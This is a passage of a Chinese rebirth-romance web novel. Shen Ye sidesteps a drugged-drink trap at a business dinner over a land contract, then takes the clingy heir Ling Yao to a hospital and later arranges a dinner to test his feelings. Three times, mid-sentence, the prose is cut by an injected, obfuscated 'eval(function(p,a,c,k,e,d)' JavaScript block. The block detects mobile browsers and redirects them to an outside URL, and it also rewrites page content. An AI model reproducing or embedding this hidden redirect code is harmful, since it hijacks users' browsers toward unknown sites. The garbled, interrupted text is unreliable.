他甚至还记得,签约那天,是在万豪的西侧楼层,具体房号是2303。 他正这么想着,手机又响了一声。 验证备注写得客客气气:【沈总您好,我这边是石家那边的联系人,方便约个时间单独聊聊吗?】 沈野心里一动。 点开资料,头像是一张公司年会上的集体合照,对方备注身份是石家旗下项目公关部的商务经理,看起来没什么问题。 沈野原本想回“可以”,拇指悬在键盘上,却迟迟没落下去。 总觉得哪儿不对。 ……为什么要单独聊,而不是通过正式流程,让父亲那边继续推进? 他盯着那张头像看了两秒,忽然有种冷意从脊背窜上来。 这个号,他前世见过。 就是这个人,先笑着说“私下喝杯酒聊聊”,然后合同从他手里飞了出去,沈家彻底被踢出局。 沈野目光一点点冷下去。 果然,轨迹和上辈子一样。 *** 他们见面的地方,还是定在了万豪。 当天夜里七点,C市城南万豪酒店的西侧楼层。 他在门口站了两秒,才推门进去。 沈野在门口站了两秒,伸手推开包间门。 “沈总!” 一个中等身材、油头锃亮的男人立刻站起来迎他。西装笔挺,笑容殷勤,眼神里却透着几分市侩。 “我是陈砚,之前微信上联系您的。” “嗯。”沈野点头,随手合上门,目光在包间里扫了一圈。 六人圆桌,此刻只坐了三人。 灯光柔和,摆得很讲究,桌面上已经放了一瓶未开封的轩尼诗。 陈砚之外,左手边坐着个头发花白的男人,五十出头,金框眼镜压在鼻梁上,白衬衫袖口扣得一丝不苟,神情冷淡。 右手边则是个年轻人,二十七八岁上下,穿着笔挺西装却坐得吊儿郎当,半躺在椅背里,眼神不规矩地打量沈野。 气氛说不上敌意,暗暗透着一股子试探与审视。 “我这边朋友也想一起认识下沈总。”陈砚笑着介绍,“这位是吕工,咱们项目那边市政管网的技术顾问;这位是文少,石总的朋友。” “哦?”沈野随口应了句。 “今天辛苦您跑一趟,本来是我表哥要出面的,他临时飞深圳了,只能我来招待。”陈砚斟酒的动作熟练,“就当我们自己人吃个饭。” 沈野目光扫向正对他的“文少”。 那人嘴角一咧,露出点牙,“早听说沈家公子不爱来这些局,今天是破例咯?” 沈野没接这话,只扫了一眼陈砚:“说正事吧。你们想聊什么。” 陈砚干笑一声,给他倒了酒:“沈总不急,吃点东西,咱们边吃边聊。” 沈野看着他,直截了当:“你叫我来,不就是为了石家那个地块?” 陈砚一愣,没想到沈野这么直白,笑意僵了一点:“沈总果然是爽快人。我就直说了,那个项目嘛……石总也挺看重,但关键是你们沈家背景浅,担心施工能力跟不上。” “哦。”沈野慢悠悠掀起茶杯盖,扫了他一眼,“那你还请我来?” “这不是……还有转圜嘛。”陈砚语气压得更低,“石总的意思是,如果咱们这边诚意足,也不是不能合作。” 话音刚落,那叫文少的笑了一声:“对嘛,沈总现在有点风头了,但大家都知道你家是新起的,往后可得靠人罩。” 他话里带着点笑,又像是敲打。 “你想说什么?”沈野把茶杯放下,清清脆脆地敲在桌面上。 陈砚举杯:“沈总,合作的事我们都在推进,但您也知道,很多东西,讲的是人情。” 沈野没动。 他抬眼看着陈砚,笑了一下:“所以你今天这杯,到底是敬合同,还是敬人情?” 陈砚的笑停顿了一瞬,有点尴尬,但他很快反应过来,道:“当然是……两者都有。” 说着,他轻轻一碰沈野的杯子。 菜一道道端上来,剁椒鱼头、干烧明虾、荷香小牛肉,都是地道的川菜搭配小改良,看得出主办方花了心思。 陈砚不急,话题从城西的旧改聊到南门CBD,又转到一些最近圈里挺火的项目,酒也一杯一杯地上。 “沈总你还年轻,不像我们这种打拼惯了的老油条。” “你爸沈总,那是我一直敬重的人物。” “我们这单合作,其实是奔着你来的,真心想交个朋友。” 沈野听着,偶尔应一句。 只是全程没怎么沾酒。 “沈哥你也知道,像这种老城区旧改项目,政府那边现在抓得紧,审批慢,但操作空间也大。” “……尤其是像你们这种,有实干经验但相对缺资源的公司,哎,难做。” 沈野眼皮没抬,只轻声“嗯”了下。 陈砚端起酒杯,主动碰他一下,“不过石总对你们还是挺认可的,说你比上一家靠谱。” “上一家?”沈野挑了下眉。 “就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779267|190331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前那家嘛。”陈砚笑着,语气自然得像聊天,“谈了两轮就黄了,听说负责人有点不识趣。” 他说得隐晦,沈野却立刻听出来,“负责人”就是曾巍巍。 直到喝了好几杯,陈砚终于敲了下桌。 “这样吧,有件事我就不藏着了。”他靠近了一点,声音也压低,“这个盘子确实紧,盯上的人不少,有些人……也不是我们能挡得住的。” “您要是真想拿稳,可能得多走点别的门道。” 沈野看着他:“什么门道?” “不是大的,就几个朋友想单独和你聊一聊。” 陈砚顿了一下,“他们不在楼上,但在这栋楼里。” 空气顿时变得诡异。 沈野指尖一顿,脑子里划过一张熟面孔。 上辈子,酒精兑了药,醒来的时候合约已经易主。 他抬起头,看着陈砚:“陈经理,你知道我脑子里,现在在想什么吗?” 陈砚一愣,笑容微微僵了下:“……啊?” 沈野语气很淡,“我在想,喝完这杯酒,再去你所说的小房间,我的合同会不会还没送上去,就被另一个人截胡了?” “哦对,我比较敏感,疑心重,请见谅。”他慢慢补了一句,“所以这次,我就先不喝了。” 话音落下,四周一瞬间安静下来。 桌边几个人对视一眼,气氛忽然绷紧。 陈砚脸上挂着笑,却像被按了暂停键,手里酒杯端在半空,不上不下。 沈野却稳稳当当把茶倒满,慢条斯理抿了一口。 “合作的事,我回去再确认。还是那句话,流程走得规范,效率走得快。” “如果哪一步需要加快——”他抬起眼,“那也得看清楚加快的代价。” 桌面一片安静。 陈砚干巴巴挤出一声笑:“沈总说得对,我们肯定支持正流程。遵守规矩,不走旁门左道。” “对嘛。”沈野起身,神情淡淡,“今晚多谢招待,我这两天忙,就先走一步。” 他扫了眼桌旁另外两人,姿态不卑不亢:“你们继续。” *** 沈野走出包间的时候,已经是晚上八点半。 万豪西侧楼层灯光不算明亮,落地窗把城南夜景一框一框切出来。 走到电梯间,他停下脚步,掏出手机准备叫代驾。 今天虽没被灌酒,但到底沾了一点,还是稳妥些。 沈野还没有请司机,现在正是创业的时候,没必要多花这笔钱。 指尖刚滑到页面,转角忽然传来几声轻快的脚步声。 就在这时,转角处突然传来几声轻快的脚步声。 沈野没在意,低头看微信。鸿门宴吃得他心烦意乱,脑子里盘算的还是石家那份合同。 就在这时,一道清朗,带着一贯傲气的嗓音突兀响起: “……沈野?!” 沈野抬头,眉心一皱。 是凌曜。 他穿着一件深藏青的衬衫,料子上乘,剪裁修身,衬得肩背笔挺。 衣摆随意半掖进裤腰,衬出高挑修长的身形,手腕上那块腕表在灯下很是显眼,一看就是限量定制款。 太子爷的气场,本就是与生俱来的。哪怕只是随意站在万豪走廊里,也显得很出挑。 凌曜气息微微急促,额角几缕碎发被风吹得翘起,像是刚才快步走过来。 两人视线猝然对上,空气骤然一静。 “……你怎么在这儿?”沈野声音低沉,本能带出一丝警惕。 没办法,上辈子,他和凌曜几乎就是天生的冤家。 凌曜愣了下,旋即抱起手臂,神情飞扬,带着点嫌烦:“这话该我问你吧?” 8. 第 8 章 凌曜的语气理直气壮,好像完全没把他放在眼里。 想想也是,太子一向不爱被人质问。 沈野不想搭理,低头点开手机,准备找代驾。可界面还没点下去,就听见凌曜自顾自接了话。 “我朋友聚会,说来万豪吃饭,我正好在这儿,出来透口气。” 沈野抬眼,冷冷扫了眼空荡的走廊,眉头微拧:“你朋友在这儿吃饭?几点的饭局,这会儿还没散?” 凌曜顿了下,立刻皱眉,像是被冒犯似的,抬下巴回怼:“喝得有点晕,出来走走。你管我?!” 语气锋利,尾音还带点少年气的挑衅,好像全世界都欠他一句顺从。 可他背在身后的指尖,却悄悄攥紧了手机,掌心全是冷汗。 来的时候,他是一路飞奔过来的。那一瞬,他满脑子只有一个念头:沈野不能出事。 上辈子,他在国外,什么都不知道。等到消息传来,一切已经晚了。 可现在不同,他能插手了,甚至还能亲眼守着。 只是没想到,前脚刚赶到,沈野已经安然无恙走了出来。 这让他的出现显得突兀又没来由。凌曜心里“咯噔”一下,反倒慌了,不知该怎么开口。 沈野皱眉盯着他看:“真是巧啊。C市这么大,万豪这么多楼层,你就偏偏出现在我眼前?” 凌曜愣了愣,随即扯了下嘴角,唇角翘起一个傲气的弧度:“你能来,我不能来?” 语气飞扬跋扈,活脱脱一个被惯坏的太子爷模样,近乎张狂。 沈野生出一种古怪的错觉。 果然。 喝醉酒的凌曜才更像小时候那个奶团子,娇得要命,虽然有点烦人,但也挺可爱的。 而现在站在他眼前的凌曜,清醒后反倒像是换了个人,变成了现在不太讨喜的冤家。 沈野抬头看他一眼,凉凉回:“你管我?” 语气模仿刚刚凌曜的,学得一模一样。 凌曜被怼得一噎,心里更慌,脑子飞快转着。眼看沈野要走,他忽然脱口而出:“等等!” 沈野脚步一顿,问:“怎么?” 凌曜嘴巴张了张,一时间没组织好语言,咽了口气,往前走了两步。 “那天晚上……”他慢吞吞开口,“你把我送酒店,是不是欺负我了?” 沈野:“?” “我这两天头巨痛,好痛好痛啊,感觉枕头都不敢压,”凌曜皱着眉,居然一本正经地胡说八道,“我很生气,你到底是不是故意的?” “我家庭医生还来看了,都说是受伤了,那天晚上表哥说你把我放到酒店的,那肯定是你搞的。你怎么这么不小心?” 沈野:“……” 今晚一个二个都来找茬,沈野冷笑一声,低声回:“我是该揍你,谁让你撒酒疯。” 凌曜眨眨眼,像是真愣住了。 过了一秒,他却立刻接上,理直气壮:“不过我觉得你是不小心的。毕竟我表哥说我喝醉之后特别沉,力气还很大,他都搬不动我。” 他说着还很大度地摆手:“算了,我决定原谅你。” 沈野翻了个白眼,心想你爱原谅不原谅。抬手去按电梯。 凌曜就站在他身后,没动。 电梯门开了,他大摇大摆跟着走进去。 沈野侧头看他一眼,叹了口气,语气无奈:“你又怎么了?我怎么你了,你到底想干嘛?你家司机呢?保镖呢?堂堂凌家少爷,没人跟着你?” 凌曜抬下巴,理直气壮:“我让他们滚远点,我不喜欢一群人贴着我。” 沈野冷笑:“那你现在跟着我算什么?” 凌曜挑眉,丝毫不觉得有问题:“我只是想坐电梯,你不要太往自己脸上贴金。” 电梯里安静了一瞬。 沈野按下楼层,没再理他。 可凌曜偏偏不消停,靠在墙上,双手插兜,吊儿郎当地说:“我朋友还在楼下,你要不陪我下去?” 沈野看着他这副半真半假的样子,心里更奇怪。 嘴上却只吐出两个字:“不陪。” 电梯门再次合上前,他又看了一眼凌曜。 沈野余光扫过去,只见凌曜低着头,神色还没来得及收起,藏着点不安,更多的是让他看不懂的情绪。 电梯一路下到负一楼。门一开,冷气扑面,就是空旷的地下停车场。 凌曜竟又跟了出来,长腿一跨,两步追上。 “你到底想干嘛?”沈野停下,头也没回,语气里透着烦躁。 “我不是说了,我头痛。”凌曜跟在他身侧,语气带着点不依不饶,“你是不是得负责任?” “……”沈野停下脚步,“你认真的吗?” 凌曜点点头:“我头真的很痛,尤其是后脑勺,睡觉都压不下去。” “那你自己去医院。” “我不行。”凌曜摇头,居然还带了点脆弱的味道,“我看病有心理阴影。小时候在瑞士疗养院摔过一次,护士扎针没扎稳,手臂肿了一整周。到现在我都还怕医院的味道。” “……”沈野盯着他,“你今年都二十几了。” “可是,阴影又不是说没就没的。”凌曜一本正经,甚至带着点理直气壮, “而且你要知道,我上一次受伤还是在阿尔卑斯山滑雪摔下坡,直接送到的诊所,管家坐直升机过来接的。那次就是我表哥全程陪着,我才勉强熬过去。现在你弄得我头疼,难道你不该陪我?” “而且那天是你送我的吧?要不是你手劲太大,我怎么会受伤?你说是不是你害的?你是不是得请个最好的理疗师给我?还是干脆你每天陪我?万一我半夜头痛惊醒,你要不要负责?” 沈野看着他半天,忍不住低低笑了一声。 “你不是说你喝醉后特别沉、力气还大,我一人搞不动你?你不是说大度,不和我计较了,要原谅我?” 凌曜胡搅蛮缠,眼睛一瞪:“那是我善良!大方!可不代表你没有责任。” 这太子真的是属螃蟹的,从小横行霸道惯了。 沈野认命般叹了口气,“你开车?” 凌曜斜他一眼,嗤笑一声:“我怎么可能自己开。要不然你送我?” “反正你欠我的。” “……”沈野彻底头疼。 沈野:“我今天沾了酒,开不了车。你要不乐意,我让你司机给你送到医院,我打个车去,我们在医院汇合。” 凌曜闻言,犹豫了一下。 他是真不想司机跟着,二十多岁的人了,搞得跟五岁小孩一样。他们家喜欢江河湖海,几乎每套房子都要沾点水。 尤其是在锐士日内瓦湖边那套老宅子,一整片临湖的庄园。 湖水澄澈,码头停着他们家的小艇和快艇,偏偏他父母怕他掉进去,硬是请了两个人守着,天天跟在他身后盯着。 “……我开。”凌曜撇开视线,语气故作轻描淡写。 沈野“嗯”了一声,却忽然想到什么,眉头一皱,开口拦住:“等等,你有驾照吗?” 凌曜一脸“你说的什么废话”的表情看他,甚至有点鄙夷:“我在A国都开了三年了,考驾照很难的,你懂不懂?” 哦,行吧。 沈野无语地不说话了。 万豪的车库灯光冷白,停的车不少。 沈野一按钥匙,右前方一辆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779268|190331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曜石黑的G63灯光亮了起来。 大G外形方正,车身线条刚硬,灯光勾勒出冷硬的轮廓,酷劲十足。 凌曜一眼就看见它,随口问:“沈野,你什么时候买的?” “上个月提的。”沈野随口敷衍。 凌曜点点头,把车钥匙拿了过来,然后…… 一马当先地拉开了右侧车门。 ……右侧?!!!! 沈野当场一愣。 他站在车头盯着看了两秒,喊道:“你这是坐哪啊?!!” “驾驶位啊,不是说我开车么。”凌曜还没钻进去就被他喊住了。 他抬头见沈野还在那儿站着,皱眉:“What’s wrong?” 沈野:“你知道这是华国吧?” 凌曜:“知道啊。” 沈野:“那你知道咱们这边是左驾吧?” 凌曜:“……” 凌曜低头看了眼车门内,再抬头看看沈野的表情,整个人顿时羞红了脸:“靠。” “靠”完他就沉默了两秒,面无表情地换到左边驾驶位,一边走还一边咕哝:“回国没几天,有点生疏。” 沈野无语地也拉开车门,一下迈进去。 “你是要我陪你看病,还是你想要我命?” “沈野,你刚上车就开始诅咒自己?” 凌曜回头白了他一眼:“Don’t jinx it。” 沈野本来还想怼两句,听见这句,想到自己确实才死过一回。 他顿了顿,低声道:“……行,我不开这种玩笑。” 说着,凌曜动作利索地系上安全带,拧钥匙点火。 G63引擎启动时那一声低沉的轰鸣,在密闭车库里回荡,震得空气微微颤了一下。 凌曜双手搭在方向盘上,掌心微收,踩下油门,缓缓驶出车位。 这车底盘高、排量大,但他开得出奇地稳,油门踩得轻,连出坡时都提前松刹车,完全不像想耍帅的新手。 有一说一,开得不错。 沈野侧头看他一眼。凌曜的侧脸沉在灯影里,眉眼明晃晃的生艳,连耳骨都泛着点冷白的光。 “我不太熟,你觉得我这样的该去哪家医院?”凌曜偏过头问,语气不紧不慢。 沈野瞥他一眼:“随便,你这种装病的,一般只需要量个血压。” “……” 凌曜懒得反驳,只摸了下鼻尖,轻轻笑了一声,踩油门往前开。 他开得真不快,一路礼让行人,红灯还提前松刹车,路过一个小转弯直接减速让右方先行。 沈野坐在副驾,默默看了他几眼。 ……倒还真是,怕他出事。 车厢里静了半晌,只有导航机械的播报声在响。 凌曜瞥了一眼中控屏,嫌弃地挑了下眉:“你这导航也太无聊了吧?机械播报,像复读机一样。” 沈野冷冷道:“那你要它唱歌么?” 凌曜眯眼看他:“至少得有人声啊,最好悦耳一点。” “……”沈野无语,“你开车听导航是为了认路,不是为了欣赏黑胶唱片和交响乐,少爷。” “那也不能这么枯燥。”凌曜不依不饶,“我听着都犯困了。” 沈野斜他一眼:“犯困你就更别开车了,停车,我来。” 凌曜立刻护住方向盘,抬下巴,语气不太好:“想得美,车是我开的。你就忍着吧。” 沈野懒得理他,往后一靠,闭上眼。 凌曜见他真不理自己了,心里更不爽,故意抬高嗓音,哼了句:“boring!!!” 沈野没睁眼,慢悠悠回了句:“吵死了。” 9. 第 9 章 外头夜色深了,街边便利店还开着门,有人在门口抽烟,小吃摊的炉火噗噗响,两个喝醉的中年男人在路边争吵,隔壁桌却在过生日,欢声笑语的。 这世间人间烟火气不少,但没有他们的那份。 凌曜静静听了会歌,片刻后,一手搭着方向盘,一手支着窗沿,像是随意开口:“你刚从哪儿出来的?” 沈野抬眼看着窗外:“包间。” 凌曜忽然道:“石家?” 沈野狐疑地看了他一眼,没想到他真能说中。 不过想到太子的消息一向灵通,也就点了下头:“嗯。” “搞定了?” “差不多。” 凌曜“啧”了一声,声音压低,带着少见的认真:“他们那帮人油得很,你少吃点他们那套。” 沈野偏头看他:“你怎么知道我见的是他们?” 凌曜顿了一下,像是被戳中心思,抬了下下巴,带着点得意:“这又不难猜。” “你最近就这个项目吵得厉害,尤其我生日那会儿,你还跟曾巍巍差点打起来。你爸也没露面,不就是明摆着你在扛石家的烂摊子?” 沈野没吭声,半阖着眼,盯着凌曜的侧脸看了几秒。 “你最近变聪明了。” 凌曜唇角一挑,语气骄矜:“我一直都聪明,只是你以前没发现。” 沈野“呵”了一声,不置可否。 副驾安静了一阵,他抬手撑着额角,闭目养神。凌曜偶尔看他一眼,两个人单独在一个空间,心口有点发热。 车子驶上立交桥时,沈野忽然想起什么,开口问:“对了,你不是说你朋友在楼下等你?” 凌曜单手搭着方向盘,身体明显顿了顿。 前方红灯亮起,他减速停下,指尖轻轻敲着方向盘。眼神闪了闪,像是在斟酌,最后嘴硬地哼了一声:“……管他们干嘛。他们又不敢把我怎么样。” 沈野睁开眼,扯了下嘴角,声音冷冷的:“你真他妈邪恶。” 凌曜这次没怼,舌尖顶了下腮帮子,转过头,眼神若无其事地望向窗外。 红灯变绿,车又开了出去。 他们在三环边上拐了个弯,朝着一家私立医院去。 夜色正浓,医院里灯光亮得很刺眼。 凌曜坐在最边角的位置,两条修长的腿交叠着伸出去,衬衫扣子松了两颗,整个人懒散得像在休闲度假。 哪有半点病人的样子,倒像是来巡视他家捐资修的医院。 可没多久,他那副架子就维持不住了。 “你太狠了。”凌曜脸色一僵,语气里带着火气,“还带我来抽血。” “你还说我邪恶?我看邪恶的人是你,不是我!” 沈野靠在自动售货机旁,手里晃着刚扫的水,神色和手里的矿泉水一样淡淡:“医生说你可能低血糖,要查肝功能。谁知道你酒量差成这样,是不是肝出问题了。” “我哪差了!”凌曜猛地抬头,像只炸毛的猫。 靠,真是搬起石头砸自己的脚。 他酒量没这么差,真的。 只是想找个理由让沈野把他捡走而已。 他带点急促地解释,“那是……前几天没休息好!” 说完还狠狠白了他一眼,咬牙切齿,漂亮的眉眼被气得发亮:“你以前不是这样的。” 沈野:“?” “你以前对我很好。”凌曜像是憋了半天,终于说出来,声音带着莫名的不满与控诉,眼神往他这边飘了一下。 沈野低低哼笑,侧头睨他:“你以前也会叫我哥哥。” 凌曜一噎,耳根不争气地泛红,嘴角绷得死紧,偏头不看他了。 空气安静下来。 急诊室里有人哭,护士忙着安抚,两个家属在走廊拐角吵了起来。 沈野转过脸,不动声色地看着诊室的门。 其实他心里也不是没波动。 “你以前对我很好”,这句话从凌曜嘴里说出来,有种奇怪的力量。 像从很远的地方传来的、早该忘掉的回音。 小时候的凌曜,皮是皮,性格依旧也是这么骄纵,但是真的很黏人,漂亮,像个奶团子,嘴里一口一个“哥哥”。 那时沈野嫌烦,结果没想到,奶团子长大后,越发骄矜,就连这声“哥哥”,也从未再出现过。 医院的夜像熬汤似的,什么事情都混在一起,有生离死别,有新生啼哭。 “滴”的一声,门外屏幕亮起下一个号码。 沈野直起身:“该你了。” 凌曜却不动,眼神直勾勾,语气别扭:“……你陪我进去。” 沈野挑眉:“你几岁?” “不管几岁,我都恐医。”凌曜理直气壮。 沈野冷笑一声:“平时那么横,怎么这时候就怂了?” “沈野,只有你敢这么跟我说话。”凌曜眉头一皱,像真要急了。 沈野看他那一脸拽样,忍不住叹气,手一伸:“行吧,太子爷,走。” 凌曜像是抓住了救命稻草,一把拉住沈野的手腕,站起来。 等走进诊室,他才重新板起脸,故作镇定地坐到诊台前,姿态端得像在谈判。 手腕一伸,咬牙切齿地冲沈野道:“你敢笑我,我就直接举报你虐待病人。” 沈野靠在一边,语气慢悠悠,像看热闹:“我举报你扰乱急诊秩序。” 凌曜:“……” 医生推了推眼镜,什么都没说,低头消毒。 凌曜眼角余光扫了一眼那银亮的针头,整个人瞬间绷紧,手指抖得厉害,偏过头死活不看。 沈野一抬眼,正好看见这一幕。嘴角忍不住勾了一下。 这太子爷,平时出入的都是海外的私人诊所,奢华得跟酒店一样。 香氛味盖过消毒水味,护士全是金发碧眼,低声细语哄着。 除此之外,他们家还常驻一队私人医生。 偏偏今天,被他莫名其妙拽进来坐等抽血。 医生手套一碰到他皮肤,凌曜呼吸就明显急促了一下,下颌线绷得死紧。 沈野本来想冷眼旁观,忽然脑子里闪过一幕,小时候的凌曜,每次打疫苗都哭得上气不接下气,扑进他怀里,软声哀求。 “哥哥,我不打针……” 那副哭得梨花带雨的模样,竟和眼前二十几岁的大少爷重叠了一瞬。 沈野的笑意收了,眼神里压下点什么,不再说话。 针头扎进去时,凌曜脸色一瞬间发白,牙齿咬得死紧,连呼吸都压低,像是硬生生扛着。可就是没吭声。 沈野这才发现,这人,八成真没撒谎。 甚至比他说的还怕。 抽血结束,凌曜从椅子上起身,动作利落,像故意想掩盖刚才的狼狈。 他嘴撇着,语气满是抱怨:“这下你满意了吧?” 沈野正拧瓶盖喝水,闻言抬眼扫他一眼,语气凉凉:“不是你要我带你来医院吗。” 凌曜被噎住,白了他一眼,眼尾挑得飞扬,硬是没回嘴。 两人出了诊室,走廊里白惨惨的灯光亮着,空气里混着消毒水味和哭声。 凌曜走在前面,步子一顿一顿的,像是没睡醒一样。沈野慢悠悠跟着,淡淡开口:“小朋友,你头磕到了,医生检查说没事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779269|190331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,血也抽了。可以回去了。” 凌曜脚步一顿,猛地回头,眉梢带了点锋锐:“你赶我?” “不是赶你。”沈野神色懒散,像在陈述事实,“这么晚了,要是不走,莫非你要跟着我回家?” 凌曜低声“啧”了一声,嘴角微抿,没接话。 一路走到停车场,他忽然慢下来,停在车边,没打算动。 沈野转头看他,眉峰轻挑:“你还不回去?” 凌曜一手随意搭在G63的引擎盖上,眼神里却带了点倨傲,半眯着眼:“你怎么不问我,这个假期要在C市待多久?” 沈野一愣,挑眉,直白地道:“和我有什么关系。” 话锋冷硬,像刀子一样扎进凌曜心里。 他想装作无所谓地笑出来,可嘴角动了动,终究没笑,反而咬住了后槽牙。 沈野随手拉开车门,正准备上车,忽然动作一顿。心头那股不对劲感又浮上来。 他回过头,看着凌曜,直白地问:“你之前为什么要拉黑我?” 凌曜愣了下,眼神闪烁,但没回答。 沈野盯着他,语气微冷:“不是也喝醉了吧?你喝醉的时候说,你拉黑我,是因为我不理你?” 他的语气依旧克制,可声音里明显带了股压迫感。 凌曜眉心动了动,仍然没出声。 沈野心里却像被什么拨了一下。 不止今天。凌曜这几天的举动,全都太不对劲了。 生日本该在A国办,他偏偏回国。酒桌上护着他,醉了又黏黏糊糊,现在更是死活不撒手。 一个可怕的念头在他脑子里慢慢浮起来。 不会吧。 沈野呼吸微滞,心跳没来由地快了一下。随即本能地想往后退。 ……他很想知道凌曜心里到底怎么想,可一旦这个猜测成真,他又觉得——很恶寒。 他可是纯种直男,全世界的男人都弯了他都直着的那种。 半晌,沈野低低骂了句:“靠。” 然后甩手关上车门,透过车窗看了凌曜一眼,语气压得低,冷硬里带着一丝别扭:“早点回去,别老来我这儿黏黏糊糊的。” “……” 凌曜站在原地,被那四个字砸得愣住。 等他反应过来时,车子已经缓缓驶离医院。 夜风扑面而来,医院门口的灯白得刺眼。凌曜低头看着手臂,胶布还贴在抽血的地方,胸口却莫名有点发闷。 他盯着远去的车尾灯出神,半晌,忽然低声笑了笑:“黏黏糊糊……” “沈野,你还挺会形容的。” 车子在高架上疾驰,夜风呼呼灌进来。 沈野单手搭着方向盘,另一只手支着下颌,眉心紧锁。 脑子里却怎么都挥不掉凌曜刚才那副模样。 明明二十二岁的男人了,偏偏眼睛一抬,居然是委委屈屈的,带着点要命的脆弱。 太怪了。 怪得他想骂人。 沈野心口一紧,烦躁地开了点车窗,冷风灌进来,也没能驱散那股说不清的燥。 他咬了咬后槽牙,“真的,不行。” “我要把他掰回来。” 沈野想得很认真。 他得给凌曜找点漂亮姑娘看,得让他知道正常的感情该是什么样。 喝酒能找酒伴,跳舞能找舞伴,恋爱也该找个女人。 至于他沈野? 只能是个朋友。 最多念及小时候的情分,照顾照顾,提点提点。 “我不搞基。” 沈野把这话在心里重复了三遍,像是要给自己洗脑。 10. 第 10 章 第二天晚上。 沈野心里盘算了一下午,最后挑了个局。 地点选在C市新开的日料,装修低调,处处透着讲究。昏黄的灯打在木格子上,气氛安静,不喧嚣,适合谈事。 对凌曜,他就说是赔罪。 不过,他刻意叫上了一个人。周瑟琳小姐。 她是周家千金,二十出头,气质明艳,笑容大方得体,举手投足都是上流圈子里出来的样子。 她本就在接手家族的生意,和沈野有过交集,熟悉那一套,对场子把握得游刃有余。 沈野跟她认识几年了,人家待人接物一贯自然,没半点扭捏。 明明和凌曜一样比自己小四岁,举杯寒暄时更像是同辈间的朋友。 沈野安排她坐在自己旁边。 他这场饭局,原本只打算约周小姐和凌曜,可怕意图太明显。于是又拨了两个电话,把江乐君和肖展颜也叫来了。 江乐君惯会活络,刚一落座就打趣:“哟,这规格不小啊,难得沈总请客。” 肖展颜笑了笑,侧头看了沈野一眼。那人坐在位置上,双眼皮窄窄的,眼神冷情,鼻尖上点着一颗不甚明显的痣。 灯下看着,倒像是勾勒出的一笔锋芒。 他五官本就冷峻,再加上衣服扣得整齐,举手投足间有股不近人情的冷感。 周身气场冷静克制,说话也不多,偏偏这样,更衬得他自带几分酷哥的帅气。 肖展颜看着,在心里默默点头又摇头。 他表弟的眼光是挺好,但怎么就偏偏是沈野。 沈野心里有点幼稚的打算。他就是想看看凌曜的反应。 凌曜姗姗来迟。 他穿着一件米白色针织衫,外头随意披了件风衣,走进来时身姿高挑,眉眼张扬,漂亮得不像真人。 他的出现,周围客人下意识往这边看了一眼。 沈野抬眼,没说话。 凌曜看见他们,打了个招呼。 不过目光扫了一圈,视线顿在沈野身边的人身上。 ——周瑟琳。 那位小千金笑容大方,正和沈野说着话,举手投足里带着几分熟稔。 凌曜眼神微冷,但很快勾起一个笑,走过去时还特意多看了沈野一眼,语气里带点漫不经心的玩味:“沈总,待客挺讲究啊,特意请了美女?” 周瑟琳落落大方地起身,唇角带笑:“凌曜,好久不见啦。” 她率先打招呼,笑意明艳。 凌曜饶有兴趣地抬眼,却忽然笑了:“哟,老同学。” 周瑟琳挑了下眉:“嘿嘿,没想到你也在。” 一句“老同学”,让全桌人都愣了一下。 江乐君立刻插科打诨:“感情还是同窗啊,这缘分大了。” 肖展颜也抿唇笑了笑,意味深长地看了沈野一眼。 饭局很快热络起来。 周瑟琳话题轻松,举止得体,刚好凌曜和她还真聊得来。 两人从国外的老教授聊到欧洲某场慈善拍卖,再到当年学校里的趣事。 周瑟琳眼神一亮:“你还记得吗?法学院那位教授,最喜欢点名你回答问题。我都替你捏把汗,结果你随便诌两句,人家还夸得不行。” 凌曜失笑,道:“那老头偏心,真正聪明的明明是你,考试次次第一,你当时还笑眯眯把答案递给我抄。” “当然,我那是同窗义气。”周瑟琳抬手碰了下酒杯,姿态优雅。 两人偶尔还爆出点旧同学八卦,说起谁谁后来去投行,谁谁又在瑞士混基金,谁家竟然爆出三个私生子出来,现在忙着争夺家产。 凌曜平时那副一贯的被娇纵坏了的脸,竟收了几分,眼神专注,连笑都带着真切。 沈野看着,下意识地摩挲嘴唇。 那是他思考时常用的动作。 他原本以为凌曜会冷着脸,或者敷衍几句,结果人家不仅聊得欢,还开心地笑过好几次。 不是吧?这也能聊得这么好? 沈野喝了口酒,心口堵得慌。 明明还觉得他gay里gay气的。可眼下,凌曜对着周瑟琳聊到眉眼带笑,郎才女貌的样子,又像是天生合拍。 他忍不住在心里打了个问号。 ……沈野到底是gay,还是直的? 周瑟琳也逐渐纳闷起来。 开局之前,沈野已经把话说明白,“帮我个忙,看看他到底什么心思。” 周瑟琳为人和善大方,帮过的人不少,家里还有慈善基金。 